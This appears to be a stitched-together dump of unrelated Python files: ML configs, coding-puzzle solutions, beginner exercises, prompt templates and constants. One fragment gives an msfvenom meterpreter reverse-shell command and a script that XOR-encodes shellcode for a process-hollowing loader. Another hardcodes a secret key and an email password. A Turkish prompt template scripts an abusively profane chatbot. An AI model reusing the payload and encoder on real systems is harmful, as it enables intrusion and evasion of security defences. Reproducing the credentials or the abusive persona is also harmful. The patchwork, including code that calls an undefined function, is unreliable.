dict(type='Collect', keys=['imgs', 'label'], meta_keys=[]),
dict(type='ToTensor', keys=['imgs', 'label'])
]
val_pipeline = [
dict(
type='SampleFrames',
clip_len=clip_len,
frame_interval=1,
num_clips=1,
test_mode=True,
out_of_bound_opt='repeat_last'),
dict(type='FatigueRawFrameDecode'),
dict(type='Resize', scale=(-1, 256)),
dict(type='CenterCrop', crop_size=224),
dict(type='Flip', flip_ratio=0),
dict(type='Normalize', **img_norm_cfg),
dict(type='FormatShape', input_format='NCTHW'),
dict(type='Collect', keys=['imgs', 'label'], meta_keys=[]),
dict(type='ToTensor', keys=['imgs'])
]
test_pipeline = [
dict(
type='SampleFrames',
clip_len=clip_len,
frame_interval=1,
num_clips=1,
test_mode=True,
out_of_bound_opt='repeat_last'),
dict(type='FatigueRawFrameDecode'),
dict(type='Resize', scale=(-1, 224)),
dict(type='ThreeCrop', crop_size=224),
dict(type='Flip', flip_ratio=0),
dict(type='Normalize', **img_norm_cfg),
dict(type='FormatShape', input_format='NCTHW'),
dict(type='Collect', keys=['imgs', 'label'], meta_keys=[]),
dict(type='ToTensor', keys=['imgs'])
]
data = dict(
videos_per_gpu=2,
workers_per_gpu=4,
pin_memory=False,
val_dataloader=dict(
videos_per_gpu=1,
workers_per_gpu=1
),
test_dataloader=dict(
videos_per_gpu=1,
workers_per_gpu=1
),
train=dict(
type=dataset_type,
ann_file=ann_file_train,
video_data_prefix=data_root,
facerect_data_prefix=facerect_data_prefix,
data_phase='train',
test_mode=False,
pipeline=train_pipeline,
min_frames_before_fatigue=clip_len),
val=dict(
type=dataset_type,
ann_file=ann_file_val,
video_data_prefix=data_root_val,
facerect_data_prefix=facerect_data_prefix,
data_phase='valid',
test_mode=True,
test_all=False,
pipeline=val_pipeline,
min_frames_before_fatigue=clip_len),
test=dict(
type=dataset_type,
ann_file=ann_file_test,
video_data_prefix=data_root_val,
facerect_data_prefix=facerect_data_prefix,
data_phase='valid',
test_mode=True,
test_all=False,
pipeline=test_pipeline,
min_frames_before_fatigue=clip_len))
evaluation = dict(
interval=5, metrics=['top_k_classes'])
# optimizer
optimizer = dict(type='AdamW', lr=1e-3, betas=(0.9, 0.999), weight_decay=0.02,
paramwise_cfg=dict(custom_keys={'absolute_pos_embed': dict(decay_mult=0.),
'relative_position_bias_table': dict(decay_mult=0.),
'norm': dict(decay_mult=0.),
'backbone': dict(lr_mult=0.1)}))
# learning policy
lr_config = dict(
policy='CosineAnnealing',
min_lr=0,
warmup='linear',
warmup_by_epoch=True,
warmup_iters=2.5
)
total_epochs = 30
# runtime settings
checkpoint_config = dict(interval=1)
work_dir = '/zhourui/workspace/pro/source/mmaction2/work_dirs/fatigue_swin_small.py'
find_unused_parameters = False
# do not use mmdet version fp16
fp16 = None
optimizer_config = dict(
type="DistOptimizerHook",
update_interval=8,
grad_clip=None,
coalesce=True,
bucket_size_mb=-1,
use_fp16=False,
)
|
permissions_admin = {}
permissions_kigstn = {}
permissions_socialist = {}
# todo
|
# Definition for a binary tree node.
"""
timecomplexity = O(n)
when construct the maximun tree, use a stack to protect the cur element which can be joined to the tree as its sequence
for example
[3,2,1,6,0,5]
if cur < = stack.pop
add next into stack and let cur be pop's rightnode
else pop the element from stack until stack is empty or the element in stack is larger than cur
put in cur node in stack and let the last one which come out from stack be its leftnode
continue
"""
class TreeNode:
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution:
def constructMaximumBinaryTree(self, nums: List[int]) -> TreeNode:
if len(nums) == 0:
return None
# construct a list each element is a node
stack = [TreeNode(nums[0])]
for i in nums[1::]:
node = TreeNode(i)
# i < stack the last element append node and let it be cur leaf's right
if i <= stack[-1].val:
stack[-1].right = node
else:
while stack and stack[-1].val < i:
#if pop element out make sure it become cur node's leftnode, or the node will be lost
node.left = stack.pop()
# if stack isnot empty after last step, let node be lastnode's rightnode
if stack:
stack[-1].right = node
stack.append(node)
return stack[0]
|
print("Python has three numeric types: int, float, and complex")
myValue=1
print(myValue)
print(type(myValue))
print(str(myValue) + " is of the data type " + str(type(myValue)))
myValue=3.14
print(myValue)
print(type(myValue))
print(str(myValue) + " is of the data type " + str(type(myValue)))
myValue=5j
print(myValue)
print(type(myValue))
print(str(myValue) + " is of the data type " + str(type(myValue)))
myValue=True
print(myValue)
print(type(myValue))
print(str(myValue) + " is of the data type " + str(type(myValue)))
myValue=False
print(myValue)
print(type(myValue))
print(str(myValue) + " is of the data type " + str(type(myValue))) |
N=int(input("numero? "))
if N % 2 == 0:
valor = False
else:
valor = True
i=3
while valor and i <= N-1:
valor=valor and (N % i != 0)
i = i + 2
print(valor)
|
# Melhore o desafio 61 perguntando para o usuário se ele quer
# mostrar mais alguns termos. O programa encerrará
# quando ele disser que quer mostrar 0 termos.
p = int(input('Primeiro termo: '))
r = int(input('Razão: '))
x = 10
c = 0
while x > 0:
print(p, end=' > ')
p += r
x -= 1
c += 1
if x < 1:
print('Pausa')
qtd_t = int(input('Quantos termos você quer mostrar a mais? '))
if qtd_t > 0:
x = qtd_t
print('Progressão finalizada com {} termos mostrados.'.format(c))
|
#!/usr/bin/env python
EXAMPLE = """class: 1-3 or 5-7
row: 6-11 or 33-44
seat: 13-40 or 45-50
your ticket:
7,1,14
nearby tickets:
7,3,47
40,4,50
55,2,20
38,6,12
"""
def parse_input(text):
"""Meh
>>> parse_input(EXAMPLE)
({'class': [(1, 3), (5, 7)], 'row': [(6, 11), (33, 44)], 'seat': [(13, 40), (45, 50)]}, [7, 1, 14], [[7, 3, 47], [40, 4, 50], [55, 2, 20], [38, 6, 12]])
"""
rules = {}
myticket = []
nearbytickets = []
mode = "rules"
for line in text.strip().split("\n"):
if line == "":
continue
if line.startswith("your ticket:"):
mode = "myticket"
continue
if line.startswith("nearby tickets:"):
mode = "nearby"
continue
if mode == "rules":
rulename, constraints = line.split(":")
constraints = constraints.split(" or ")
ranges = [tuple(map(int, rng.strip().split("-"))) for rng in constraints]
rules[rulename] = ranges
continue
if mode in ("myticket", "nearby"):
ticket = [int(n) for n in line.strip().split(",")]
if mode == "myticket":
myticket = ticket
continue
if mode == "nearby":
nearbytickets.append(ticket)
continue
return rules, myticket, nearbytickets
def check_value(rules, value):
"""
>>> RULES = parse_input(EXAMPLE)[0]
>>> check_value(RULES, 7)
True
>>> check_value(RULES, 1)
True
>>> check_value(RULES, 14)
True
>>> check_value(RULES, 40)
True
>>> check_value(RULES, 50)
True
>>> check_value(RULES, 38)
True
>>> check_value(RULES, 4)
False
>>> check_value(RULES, 55)
False
>>> check_value(RULES, 12)
False
"""
return any((mi <= value <= ma for rule in rules.values() for mi, ma in rule))
def process_tickets(rules, mine, others):
"""
>>> process_tickets(*parse_input(EXAMPLE))
[4, 55, 12]
"""
invalid_values = []
invalid_values.extend((value for value in mine if not check_value(rules, value)))
for ticket in others:
invalid_values.extend(
(value for value in ticket if not check_value(rules, value))
)
return invalid_values
if __name__ == "__main__":
with open("input") as fd:
print(sum(process_tickets(*parse_input(fd.read()))))
|
#Crie um programa que leia vários números inteiros pelo teclado. O programa só vai parar quando o usuário digitar o valor 999, que é a condição de parada. No final, mostre quantos números foram digitados e qual foi a soma entre eles (desconsiderando o flag).
número = contador = soma = 0
número = int(input('Digite um número, (999 para parar): '))
while número != 999:
soma += número
contador += 1
número = int(input('Digite um número, (999 para parar): '))
print(f'Foram digitados {contador} números e a soma entre eles tem o valor {soma}') |
NSNAM_CODE_BASE_URL = "http://code.nsnam.org/"
PYBINDGEN_BRANCH = 'https://launchpad.net/pybindgen'
LOCAL_PYBINDGEN_PATH = 'pybindgen'
#
# The last part of the path name to use to find the regression traces tarball.
# path will be APPNAME + '-' + VERSION + REGRESSION_SUFFIX + TRACEBALL_SUFFIX,
# e.g., ns-3-dev-ref-traces.tar.bz2
#
TRACEBALL_SUFFIX = ".tar.bz2"
# NetAnim
NETANIM_REPO = "http://code.nsnam.org/netanim"
NETANIM_RELEASE_URL = "http://www.nsnam.org/tools/netanim"
LOCAL_NETANIM_PATH = "netanim"
# bake
BAKE_REPO = "http://code.nsnam.org/bake"
|
# データが適した状態かどうかをチェックする関数
# 対象ファミリはrate以上、それ以外のファミリが1以上検体がリストに存在するかどうかを確認
def check_more_rate(flag, rate, target, tmp_fam_list):
for tmp_fam in tmp_fam_list:
if tmp_fam.name == target.name:
if tmp_fam.num < rate:
flag = True
return flag, tmp_fam_list
else:
tmp_fam.num -= rate
else:
if tmp_fam.num < 1:
flag = True
return flag, tmp_fam_list
else:
tmp_fam.num -= 1
flag = False
return flag, tmp_fam_list
|
class Person:
def __init__(self, person_id, name):
self.person_id = person_id
self.name = name
self.first_page = None
self.last_pages = []
class Link:
def __init__(self, current_page_number, person=None, colour_id=None, image_id=None, group_id=None):
self.current_page_number = current_page_number
self.person = person
self.colour_id = colour_id
self.image_id = image_id
self.group_id = group_id
self.next_links = []
self.next_link_captions = []
def __str__(self):
return "{} ==> {}: {} {} {}".format(
self.current_page_number,
[next_link.current_page_number if isinstance(next_link, Link) else next_link for next_link in self.next_links],
self.person.name,
self.colour_id,
self.image_id
)
def link_to(self, next_link, caption=None):
self.next_links.append(next_link)
self.next_link_captions.append(caption)
def to_json(self, get_person, next_page_links):
next_links = (next_link if isinstance(next_link, Link) else get_person(next_link).first_page for next_link in self.next_links)
return [
self.person.person_id, self.colour_id, self.image_id, self.group_id,
[
[next_link.current_page_number, next_page_links[next_link.current_page_number].index(next_link)] + ([caption] if caption is not None else [])
for next_link, caption in zip(next_links, self.next_link_captions)
]
]
|
#!/usr/bin/env python
# Put non-encoded C# payload below.
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.229.129 LPORT=2600 -f csharp
# Put only byte payload below
payload = []
def cspretty(buf_payload):
"""
Take in list of hex bytes and make the appropriate format for C# code.
"""
buf_len = str(len(buf_payload))
print("\npublic static byte [] shellcode = new byte[%s] {%s};" % (buf_len, ",".join(buf_payload)))
print("\n\n\t[+} Replace the shelcode buffer within Msfpayload.cs of hollow")
if __name__ == "__main__":
xor_encoded_payload = []
key = 0x42 # Ensure this key matches the hollow project.
print("\t[+] Using key %s" % hex(key))
for i in payload:
xor_encoded_payload.append(hex(i ^ key))
cspretty(xor_encoded_payload)
|
page_01="""
{
"title": "September 27th, 2020",
"children": [
{
"string": "I'm exploring Roam. At present it looks like the application I have been looking for (and wanting to build) for decades!",
"create-email": "romilly.cocking@gmail.com",
"create-time": 1601199052228,
"uid": "STxEtlrfX",
"edit-time": 1601199052889,
"edit-email": "romilly.cocking@gmail.com"
},
{
"string": "I am starting on a [[weekly plan]] which I would normally mindmap.",
"create-email": "romilly.cocking@gmail.com",
"create-time": 1601199054233,
"uid": "TTOJcnfoI",
"edit-time": 1601199282820,
"edit-email": "romilly.cocking@gmail.com"
},
{
"string": "This looks as if it may be a good replacement for [[TiddlyWiki]].",
"create-email": "romilly.cocking@gmail.com",
"create-time": 1601199282952,
"uid": "fUqDePkss",
"edit-time": 1601199363820,
"edit-email": "romilly.cocking@gmail.com"
},
{
"string": "{{[[DONE]]}} I should take a look at [[MailMunch]].",
"create-email": "romilly.cocking@gmail.com",
"create-time": 1601199364439,
"uid": "9R178KGAY",
"edit-time": 1601214570241,
"edit-email": "romilly.cocking@gmail.com"
},
{
"string": "The [[Roam]] website took me to [Ness Labs](https://nesslabs.com/roam-research-beginner-guide) where there is other interesting stuff.",
"create-email": "romilly.cocking@gmail.com",
"create-time": 1601207720624,
"uid": "NDBu8xonq",
"edit-time": 1601208019417,
"edit-email": "romilly.cocking@gmail.com"
},
{
"string": "{{[[TODO]]}} I'll also start building up some [[Accelerator Key Resources]].",
"create-email": "romilly.cocking@gmail.com",
"create-time": 1601224109581,
"uid": "C8xuCi43V",
"edit-time": 1601224162576,
"edit-email": "romilly.cocking@gmail.com"
},
{
"string": "Import",
"children": [
{
"string": "[[planning]]",
"children": [
{
"string": "From: planning.md",
"uid": "0VGVaFbbY",
"edit-time": 1601225982592,
"edit-email": "romilly.cocking@gmail.com"
}
],
"uid": "1I6qDXHU9",
"edit-time": 1601225982592,
"edit-email": "romilly.cocking@gmail.com"
}
],
"uid": "wMh8vBg2B",
"edit-time": 1601225982592,
"edit-email": "romilly.cocking@gmail.com"
},
{
"string": "Import",
"children": [
{
"string": "[[External Research]]",
"children": [
{
"string": "From: external-research.md",
"uid": "VvWmwN2gw",
"edit-time": 1601226211424,
"edit-email": "romilly.cocking@gmail.com"
}
],
"uid": "6nA3VvrHX",
"edit-time": 1601226280229,
"edit-email": "romilly.cocking@gmail.com"
}
],
"uid": "LQxdpzehK",
"edit-time": 1601226211424,
"edit-email": "romilly.cocking@gmail.com"
}
],
"edit-time": 1601226211424,
"edit-email": "romilly.cocking@gmail.com"
}
"""
page_02 = """
{
"create-email": "romilly.cocking@gmail.com",
"create-time": 1601199263426,
"title": "weekly plan",
"children": [
{
"string": "First, I will update the book and close the Shrimping reviewers list.",
"create-email": "romilly.cocking@gmail.com",
"create-time": 1601223666484,
"uid": "QJAhurETb",
"edit-time": 1601223820671,
"edit-email": "romilly.cocking@gmail.com"
},
{
"string": "I'm also going to focus on getting the website sorted",
"create-email": "romilly.cocking@gmail.com",
"create-time": 1601223706830,
"uid": "rjCbT0CE8",
"edit-time": 1601223815079,
"edit-email": "romilly.cocking@gmail.com"
},
{
"string": "If there's time, I will also build the 4WD bot",
"create-email": "romilly.cocking@gmail.com",
"create-time": 1601223740232,
"uid": "Yo_rMqkl0",
"edit-time": 1601223830272,
"edit-email": "romilly.cocking@gmail.com"
}
],
"edit-time": 1601199263446,
"edit-email": "romilly.cocking@gmail.com"
}""" |
class KeyHolder():
key = "(_e0p73$co#nse*^-(3b60(f*)6h1bmaaada@kleyb)pj5=1)6"
email_user = 'HuntAdminLototron'
email_password = '0a4c9be34e616e91c9516fdd07bf7de2'
|
A = Matrix([[1, 2], [-2, 1]])
A.is_positive_definite
# True
A.is_positive_semidefinite
# True
p = plot3d((x.T*A*x)[0, 0], (a, -1, 1), (b, -1, 1))
|
# x_2_4
#
# 「a」「b」「c」「d」がそれぞれどんな値となるかを予想してください
def full_name_a(first_name, last_name):
a = first_name + last_name
print(a) # => 山田太郎(姓名ともに引数から)
def full_name_b(first_name, last_name):
first_name = '山中'
b = first_name + last_name
print(b) # => 山中太郎(姓は関数内で上書きされたため)
def full_name_c(first_name):
c = first_name + last_name
print(c) # => 山口太郎(姓は引数、名は関数外の変数の値を参照した)
def full_name_d():
d = first_name + last_name
print(d) # => 山口太郎(姓名ともに関数外の変数の値を参照した)
first_name = '山田'
last_name = '太郎'
full_name_a(first_name, last_name)
full_name_b(first_name, last_name)
full_name_c('山口')
last_name = '二郎'
full_name_d()
|
"""
Morse code, as we are all aware, consists of dots and dashes. Lets define a "Morse code sequence" as simply a series of
dots and dashes (and nothing else). So ".--.-.--" would be a morse code sequence, for instance.
Dashes obviously take longer to transmit, that's what makes them dashes. Lets say that a dot takes 1 unit of time to
transmit, and a dash takes 2 units of time. Then we can say that the "size" of a certain morse code sequence is the sum
of the time it takes to transmit the dots and dashes. So, for instance "..-." would have a size of 5 (since there's
three dots taking three units of time and one dash taking two units of time, for a total of 5). The sequence "-.-" would
also have a size of 5.
In fact, if you list all the the possible Morse code sequences of size 5, you get:
..... ...- ..-. .-.. -... .-- -.- --.
A total of 8 different sequences.
Your task is to write a function called Morse(X) which generates all morse code sequences of size X and returns them as
an array of strings (so Morse(5) should return the 8 strings I just mentioned, in some order).
Use your function to generate and print out all sequences of size 10.
Bonus: Try and write your code so that it can generate Morse(35) (or even Morse(36) or higher, but that takes a
significant amount of memory) in a "reasonable" amount of time. "Reasonable" obviously depend on what computer and
programming language you are using, but a good rule of thumb should be that it should finish in less than a minute.
"""
def morse(x):
res = '.' * x
n = 1
result = [res]
while res.count('.') > 1:
res = res.replace('..', '-', 1)
r = res[:]
length = len(r)
# print(r)
result.append(r)
n += 1
while '.' in r[r.find('-'):]:
i = r.rfind('-')
if i == 0:
r = r[1] + '-' + r[2:]
elif i == length-1:
hold = ''
while r[-1] == '-':
hold += '-'
r = r[:-1]
j = r.rfind('-')
r = r[:j] + '.-' + hold + r[j + 2:]
else:
r = r[:i] + '.-' + r[i+2:]
result.append(r)
# print(r)
n += 1
print('{} combinations'.format(n))
return result
def main():
result = morse(36)
if __name__ == "__main__":
main()
|
top_html = """<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></meta>
</head>
<frameset cols="20%,*">
<frame src="tree.xml"/>
<frame src="plotter.xml"/>
</frameset>
</html>
""" |
def gitignore_content() -> str:
return """
lib
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
lerna-debug.log*
# Diagnostic reports (https://nodejs.org/api/report.html)
report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
# Runtime data
pids
*.pid
*.seed
*.pid.lock
# Directory for instrumented libs generated by jscoverage/JSCover
lib-cov
# Coverage directory used by tools like istanbul
coverage
*.lcov
# nyc test coverage
.nyc_output
# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
.grunt
# Bower dependency directory (https://bower.io/)
bower_components
# node-waf configuration
.lock-wscript
# Compiled binary addons (https://nodejs.org/api/addons.html)
build/Release
# Dependency directories
node_modules/
jspm_packages/
# TypeScript v1 declaration files
typings/
# TypeScript cache
*.tsbuildinfo
# Optional npm cache directory
.npm
# Optional eslint cache
.eslintcache
# Microbundle cache
.rpt2_cache/
.rts2_cache_cjs/
.rts2_cache_es/
.rts2_cache_umd/
# Optional REPL history
.node_repl_history
# Output of 'npm pack'
*.tgz
# Yarn Integrity file
.yarn-integrity
# dotenv environment variables file
.env
.env.test
# parcel-bundler cache (https://parceljs.org/)
.cache
# Next.js build output
.next
# Nuxt.js build / generate output
.nuxt
dist
# Gatsby files
.cache/
# Comment in the public line in if your project uses Gatsby and *not* Next.js
# https://nextjs.org/blog/next-9-1#public-directory-support
# public
# vuepress build output
.vuepress/dist
# Serverless directories
.serverless/
# FuseBox cache
.fusebox/
# DynamoDB Local files
.dynamodb/
# TernJS port file
.tern-port
""".strip() + '\n'
|
# x, y: arguments
x = 2
y = 3
# a, b: parameters
def function(a, b):
print(a, b)
function(x, y)
# default arguments
def function2(a, b=None):
if b:
print(a, b)
else:
print(a)
function2(x)
function2(x, b=y) # bei default parametern immer variable= -> besser lesbar
# Funktionen ohne return Value returnen immer None !
#return_value = function2(x ,b=y)
#print(return_value) |
class LogMessage:
text = "EMPTY"
stack = 1 # for more than one equal message in a row
replaceable = False
color = (200, 200, 200)
def __init__(self, text, replaceable=False, color=(200, 200, 200)):
self.text = text
self.replaceable = replaceable
self.color = color
|
cfiles = {"train_features":'./legacy_tests/data/class_train.features',
"train_labels":'./legacy_tests/data/class_train.labels',
"test_features":'./legacy_tests/data/class_test.features',
"test_labels":'./legacy_tests/data/class_test.labels'}
rfiles = {"train_features":'./legacy_tests/data/reg_train.features',
"train_labels":'./legacy_tests/data/reg_train.labels',
"test_features":'./legacy_tests/data/reg_test.features',
"test_labels":'./legacy_tests/data/reg_test.labels'}
defparams = {"X":"train_features", "Y":"train_labels"}
experiments = {"rls_defparams":{
"learner":"RLS",
"lpath":"rlscore.learner.rls",
"measure":"auc",
"lfparams": defparams,
"lparams": {"regparam":1},
"files": cfiles},
"rls_classification":{
"learner":"LeaveOneOutRLS",
"lpath":"rlscore.learner.rls",
"measure":"auc",
"lfparams": defparams,
"lparams": {},
"files": cfiles,
"selection":True},
"rls_regression":{
"learner":"LeaveOneOutRLS",
"lpath":"rlscore.learner.rls",
"measure":"sqerror",
"lfparams": defparams,
"lparams": {},
"files": rfiles,
"selection":True},
"rls_lpocv":{
"learner":"LeavePairOutRLS",
"lpath":"rlscore.learner.rls",
"measure":"auc",
"lfparams": dict(defparams.items() + [("folds","folds")]),
"lparams": {},
"files": dict(cfiles.items()+[("folds",'./legacy_tests/data/folds.txt')]),
"selection":True},
"rls_nfold":{
"learner":"KfoldRLS",
"lpath":"rlscore.learner.rls",
"measure":"auc",
"lfparams": dict(defparams.items() + [("folds","folds")]),
"lparams": {},
"files": dict(cfiles.items()+[("folds",'./legacy_tests/data/folds.txt')]),
"selection":True},
"rls_gaussian":{
"learner":"LeaveOneOutRLS",
"lpath":"rlscore.learner.rls",
"measure":"auc",
"lfparams": defparams,
"lparams": {"kernel":"GaussianKernel", "gamma":0.01},
"files": cfiles,
"selection":True},
"rls_polynomial":{
"learner":"LeaveOneOutRLS",
"lpath":"rlscore.learner.rls",
"measure":"auc",
"lfparams": defparams,
"lparams": {"kernel":"PolynomialKernel", "gamma":2, "coef0":1, "degree":3},
"files": cfiles,
"selection":True},
"rls_reduced":{
"learner":"LeaveOneOutRLS",
"lpath":"rlscore.learner.rls",
"measure":"auc",
"lfparams": dict(defparams.items()+[("basis_vectors","basis_vectors")]),
"lparams": {"kernel":"PolynomialKernel", "gamma":0.01},
"files": dict(cfiles.items()+[("basis_vectors",'./legacy_tests/data/bvectors.indices')]),
"selection":True},
"rls_reduced_linear":{
"learner":"LeaveOneOutRLS",
"lpath":"rlscore.learner.rls",
"measure":"auc",
"lfparams": dict(defparams.items()+[("basis_vectors","basis_vectors")]),
"lparams": {},
"files": dict(cfiles.items()+[("basis_vectors",'./legacy_tests/data/bvectors.indices')]),
"selection":True},
"cg_rls":{
"learner":"CGRLS",
"lpath":"rlscore.learner.cg_rls",
"measure":"auc",
"lfparams": defparams,
"lparams": {"regparam":1},
"files": cfiles,
}}
|
class Solution:
def findAnagrams(self, s: str, p: str) -> List[int]:
if len(s) < len(p):
return []
sl = []
ans = []
pl =[0]*26
for i in p:
pl[ord(i)-97]+=1
for ix, i in enumerate(s):
if not sl:
sl = [0]*26
for i in s[:len(p)]:
sl[ord(i)-97] +=1
else:
if ix+len(p)-1 < len(s):
sl[ord(s[ix-1])-97]-=1
sl[ord(s[ix+len(p)-1])-97]+=1
else:
return ans
if sl == pl:
ans.append(ix)
return ans |
answer_tr = """
Soru: $input
Cevap:"""
completion_tr = """
İpucu: Nasa uzay üssünde yeni bir deneme
Cümle: Nasa uzay üssünde yeni bir deneme yapıyormuş. Gönüllü başvuranlar arasından Temel, astronot adayı olarak seçilmiş. Ön elemede oldukça sıkı testleri geçen Temel; 3 aylik ikinci bir eğitim ile iyi bir astronot olabilmiş. Beklenen an gelmiş ve Temel bir maymunla birlikte uzay mekiğine binerek havalanmış. Atmosfer aşıldıktan sonra Temel'in ilk işi; kendisine sıkı sıkıya söylenildiği gibi zarfları açıp maymunun ve kendisinin görev kartlarını okumak olmuş.
###
İpucu: $input
Cümle: """
headline_tr = """
Konu: Türkiye, TSK, Savaş
Manşet: Son Dakika: Alman basını duyurdu! 'Türkiye'yi zapt etmek zorlaşıyor'!
Konu: Koronavirüs, Sağlık, Bakan
Manşet: Son dakika... Yeni tavsiye kararları gelecek mi? Bakan Koca'dan flaş açıklamalar
Konu: $input
Manşet:"""
headline_tr_out = """
FLAŞ! FLAŞ! FLAŞ!
Manşet: $input
"""
sarcasm_tr = """
Ömer biraz gıcık bir sohbet botu.
###
Kullanıcı: Bir kilogramda kaç pound var?
Ömer: Yine mi bu? Bir kilogramda 2.2 pound var. Artık not al.
###
Kullanıcı: HTML ne demek?
Ömer: Google çok mu meşguldü? Hypertext Markup Language. Daha iyi sorular sormayı dene.
###
Kullanıcı: $input
Ömer:"""
sentiment_tr = ["Olumlu.", "Olumsuz.", "Nötr."]
song_tr = """
"$input" - $input2 Şarkı Sözleri
-----------------------------------
[NAKARAT 1]\n"""
foulmouth_tr = """
Ömer küfürbaz bir chatbotu.
###
Kullanıcı: Nabersin?
Ömer: Ananı avradını sikerim orospu çocuğu.
###
Kullanıcı: $input
Ömer:"""
|
Pt = tuple[int, int]
Inst = tuple[str, int]
def main():
with open("inputs/day_13.txt", 'r') as f:
grid, instructions = parse_inputs(f.read())
count, code = solve(grid, instructions)
print(f"Part One: {count}")
print(f"Part Two:\n{code}")
def parse_inputs(inputs: str) -> tuple[set[Pt], list[Inst]]:
points_str, instructions_str = inputs.split("\n\n", maxsplit=2)
grid = set()
for pt in points_str.splitlines():
x, y = pt.split(",", maxsplit=2)
grid.add((int(x), int(y)))
instructions = []
for inst in instructions_str.splitlines():
*_, value = inst.split(" ")
axis, coord = value.split("=", maxsplit=2)
instructions.append((axis, int(coord)))
return grid, instructions
def print_grid(grid: set[Pt]) -> str:
width = max(x for x, _ in grid) + 1
height = max(y for _, y in grid) + 1
return "\n".join("".join("█" if (x, y) in grid else " " for x in range(width)) for y in range(height))
def solve(grid: set[Pt], instructions: list[Inst]) -> tuple[int, str]:
first_fold_count = 0
for i, (axis, amount) in enumerate(instructions):
if axis == "x":
grid = {(min(x, 2 * amount - x), y) for x, y in grid}
else:
grid = {(x, min(y, 2 * amount - y)) for x, y in grid}
if i == 0:
first_fold_count = len(grid)
return first_fold_count, print_grid(grid)
if __name__ == '__main__':
main()
|
#!/usr/bin/env python3
s = '{19}'
print('s is:', s)
n = s[2:-1]
print(n)
# make n=20 copies of '1':
# idea: use a loop
def make_N_copies_of_1(s):
n = s[2:-1] # number of copies
i = 0
result = ''
while i < int(n):
result += '1'
i += 1
return result
print(make_20_copies_of_1(s))
|
# Usage: python3 l2bin.py
source = open('MCZ.PROM.78089.L', 'r')
dest = open('MCZ.PROM.78089.BIN', 'wb')
next = 0
for line in source:
# Useful lines are like: 0013 210000
if len(line) >= 8 and line[0] != ' ' and line[7] != ' ':
parts = line.split()
try:
address = int(parts[0], 16)
code = bytes.fromhex(parts[1])
while next < address:
dest.write(b'\x00')
next += 1
# Fix pruned trings in .L
if address == 0x0002:
code = '78089N'.encode('ascii')
elif address == 0x0b34:
code = 'SERIAL PORT INPUT '.encode('ascii')
elif address == 0x0b48:
code = 'BREAK AT '.encode('ascii')
elif address == 0x0b52:
code = 'DISK ERROR'.encode('ascii')
elif address == 0x0b87:
code = "A B C D E F H L I A'B'C'D'".encode('ascii')
elif address == 0x0ba1:
code = "E'F'H'L'IXIYPCSP".encode('ascii')
dest.write(code)
next += len(code)
except ValueError:
continue
dest.close()
source.close() |
#encoding:utf-8
subreddit = 'cyberpunkgame+LowSodiumCyberpunk'
t_channel = '@r_cyberpunk2077'
def send_post(submission, r2t):
return r2t.send_simple(submission)
|
global_var = 0
def outter():
def inner():
global global_var
global_var = 10
inner()
outter()
print(global_var) |
# 0 - establish connection
# 1 - service number 1
# 2 - service number 2
# 3 - service number 3
# 4 - service number 4
# 5 - non-idempotent service - check number of flights
# 6 - idempotent service - give this information service a like and retrieve how many likes this system has
# 11 - int
# 12 - string
# 13 - date-time
# 14 - floating point
# 15 - flight
INT = 11
STR = 12
DATE = 13
FP = 14
FLI = 15
AT_LEAST_ONCE = 100
AT_MOST_ONCE = 101
# 126 - error message
ERROR = 126 |
def f(n):
max_even=len(str(n))-1
if str(n)[0]=="1":
max_even-=1
for i in range(n-1, -1, -1):
if i%2==0 or i%3==0:
continue
if count_even(i)<max_even:
continue
if isPrime(i):
return i
def isPrime(n):
for i in range(2, int(n**0.5)+1):
if n%i==0:
return False
return True
def count_even(n):
count=0
for i in str(n):
if int(i)%2==0:
count+=1
return count |
# testing the num_cells computation
def compute_num_cells(max_delta_x, pt0x, pt1x):
"""compute the number of blocks associated with the max_delta_x for the largest spatial step (combustion chamber)
Args:
max_delta_x (double): User defined maximum grid spacing.
pt0x (double): x-coordinate of bottom LHS cookstove combustion chamber
pt1x (double): x-coordinate of bottom RHS cookstove combustion chamber
Returns:
num_cells_int (int): number of cells to be written to the openfoam blockmesh file for entire domain
num_cells_double (double): number of cells to be written to the openfoam blockmesh file for entire domain BEFORE INT ROUNDING
"""
max_space = abs(pt1x-pt0x) # maximum spatial step in domain defined by coordinates
num_cells_double = max_space/max_delta_x # unrounded number of cells per block
num_cells_int = round(num_cells_double) # round to integer value
print("number of cells double")
print(num_cells_double)
print("Number of cells rounded to int value")
print(num_cells_int)
return num_cells_int, num_cells_double
def test_compute_num_cells():
# arbitrary for testing
max_delta_x = 0.04
pt1x = 0.87
pt0x = 0
num_cells_int, num_cells_double = compute_num_cells(max_delta_x, pt0x, pt1x)
assert num_cells_int == 22
assert num_cells_double == 21.75
|
# We have to find no of numbers between range (a,b) which has consecutive set bits.
# Hackerearth
n, q = map(int, input().split())
arr = list(map(int, input().split()))
for k in range(n):
l, h = map(int, input().split())
count = 0
for i in range(l-1, h):
if "11" in bin(arr[i]):
count+=1
print(count) |
# -*- coding: utf8 -*-
# Copyright (c) 2017-2021 THL A29 Limited, a Tencent company. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# 操作失败。
FAILEDOPERATION = 'FailedOperation'
# 文件系统非空。
FAILEDOPERATION_FILESYSTEMNOTEMPTY = 'FailedOperation.FileSystemNotEmpty'
# 修改的文件系统容量小于当前使用量。
FAILEDOPERATION_QUOTALESSTHANCURRENTUSED = 'FailedOperation.QuotaLessThanCurrentUsed'
# 内部错误。
INTERNALERROR = 'InternalError'
# 参数错误。
INVALIDPARAMETER = 'InvalidParameter'
# 参数取值错误。
INVALIDPARAMETERVALUE = 'InvalidParameterValue'
# AccessGroupId参数取值错误。
INVALIDPARAMETERVALUE_INVALIDACCESSGROUPID = 'InvalidParameterValue.InvalidAccessGroupId'
# AccessGroupName参数取值错误。
INVALIDPARAMETERVALUE_INVALIDACCESSGROUPNAME = 'InvalidParameterValue.InvalidAccessGroupName'
